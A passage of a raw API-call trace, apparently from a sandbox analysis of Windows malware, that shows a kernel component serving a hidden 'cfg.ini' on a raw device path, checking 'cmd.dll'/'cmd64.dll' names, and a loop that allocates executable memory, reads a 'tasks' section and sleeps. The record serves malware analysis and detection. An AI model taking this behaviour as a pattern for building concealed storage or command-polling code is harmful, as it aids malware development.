CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.798] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc3c0 [0126.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.798] KeLeaveCriticalRegion () [0126.798] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.798] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.798] KeEnterCriticalRegion () [0126.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.798] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.798] KeLeaveCriticalRegion () [0126.798] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.798] KeEnterCriticalRegion () [0126.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.798] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.798] IdePortDispatch () returned 0x103 [0126.798] KeWaitForMutexObject () returned 0x0 [0126.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.799] KeLeaveCriticalRegion () [0126.799] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.799] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.799] KeEnterCriticalRegion () [0126.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.799] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1e000 [0126.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.799] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.799] IdePortDispatch () returned 0x103 [0126.799] KeWaitForMutexObject () returned 0x0 [0126.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.799] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.799] IdePortDispatch () returned 0x103 [0126.800] KeWaitForMutexObject () returned 0x0 [0126.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.800] KeLeaveCriticalRegion () [0126.800] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.800] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.800] KeEnterCriticalRegion () [0126.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.800] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.800] KeLeaveCriticalRegion () [0126.800] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.800] KeEnterCriticalRegion () [0126.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.801] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.801] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.801] KeLeaveCriticalRegion () [0126.801] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.801] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.801] KeEnterCriticalRegion () [0126.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.801] ExFreePoolWithTag (P=0xfffffa8002adc3c0, Tag=0x0) [0126.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.801] KeLeaveCriticalRegion () [0126.801] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.801] ReleaseMutex (hMutex=0xf0) returned 1 [0126.801] Sleep (dwMilliseconds=0x927c0) [0126.819] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.819] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.819] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.819] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.819] KeEnterCriticalRegion () [0126.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.819] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.819] IdePortDispatch () returned 0x103 [0126.820] KeWaitForMutexObject () returned 0x0 [0126.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.820] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.820] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.820] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.820] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.820] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed470 [0126.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.820] KeLeaveCriticalRegion () [0126.820] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.820] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.820] KeEnterCriticalRegion () [0126.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.820] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.820] KeLeaveCriticalRegion () [0126.820] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.820] KeEnterCriticalRegion () [0126.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.820] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.820] IdePortDispatch () returned 0x103 [0126.821] KeWaitForMutexObject () returned 0x0 [0126.821] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.821] KeLeaveCriticalRegion () [0126.821] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.821] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.821] KeEnterCriticalRegion () [0126.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.821] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b23000 [0126.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.821] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.821] IdePortDispatch () returned 0x103 [0126.821] KeWaitForMutexObject () returned 0x0 [0126.821] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.821] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.821] IdePortDispatch () returned 0x103 [0126.822] KeWaitForMutexObject () returned 0x0 [0126.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.822] KeLeaveCriticalRegion () [0126.822] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.822] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.822] KeEnterCriticalRegion () [0126.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.822] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.822] KeLeaveCriticalRegion () [0126.822] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.822] KeEnterCriticalRegion () [0126.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.823] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.823] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037dabf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.823] KeLeaveCriticalRegion () [0126.823] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.823] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.823] KeEnterCriticalRegion () [0126.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.823] ExFreePoolWithTag (P=0xfffffa80037ed470, Tag=0x0) [0126.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.823] KeLeaveCriticalRegion () [0126.823] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.823] ReleaseMutex (hMutex=0xf0) returned 1 [0126.823] Sleep (dwMilliseconds=0x927c0) [0126.840] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.841] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.841] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.841] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.841] KeEnterCriticalRegion () [0126.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.841] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.841] IdePortDispatch () returned 0x103 [0126.841] KeWaitForMutexObject () returned 0x0 [0126.841] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.841] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.841] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.841] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.841] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.841] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf81a0 [0126.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.841] KeLeaveCriticalRegion () [0126.841] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.841] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.841] KeEnterCriticalRegion () [0126.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.841] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.841] KeLeaveCriticalRegion () [0126.842] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.842] KeEnterCriticalRegion () [0126.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.842] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.842] IdePortDispatch () returned 0x103 [0126.844] KeWaitForMutexObject () returned 0x0 [0126.844] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.844] KeLeaveCriticalRegion () [0126.844] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.844] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.844] KeEnterCriticalRegion () [0126.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.844] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b28000 [0126.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.844] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.844] IdePortDispatch () returned 0x103 [0126.844] KeWaitForMutexObject () returned 0x0 [0126.844] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.844] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.844] IdePortDispatch () returned 0x103 [0126.845] KeWaitForMutexObject () returned 0x0 [0126.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.845] KeLeaveCriticalRegion () [0126.845] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.845] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.845] KeEnterCriticalRegion () [0126.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.845] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.845] KeLeaveCriticalRegion () [0126.845] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.846] KeEnterCriticalRegion () [0126.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.846] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.846] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accc40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.846] KeLeaveCriticalRegion () [0126.846] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.846] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.846] KeEnterCriticalRegion () [0126.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.846] ExFreePoolWithTag (P=0xfffffa8003bf81a0, Tag=0x0) [0126.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.846] KeLeaveCriticalRegion () [0126.846] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.846] ReleaseMutex (hMutex=0xf0) returned 1 [0126.846] Sleep (dwMilliseconds=0x927c0) [0126.864] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.864] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.864] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.864] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.864] KeEnterCriticalRegion () [0126.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.864] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.864] IdePortDispatch () returned 0x103 [0126.864] KeWaitForMutexObject () returned 0x0 [0126.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.864] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.864] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.864] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.864] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.864] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed6c0 [0126.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.864] KeLeaveCriticalRegion () [0126.865] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.865] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.865] KeEnterCriticalRegion () [0126.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.865] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.865] KeLeaveCriticalRegion () [0126.865] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.865] KeEnterCriticalRegion () [0126.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.865] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.865] IdePortDispatch () returned 0x103 [0126.865] KeWaitForMutexObject () returned 0x0 [0126.865] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.865] KeLeaveCriticalRegion () [0126.865] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.865] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 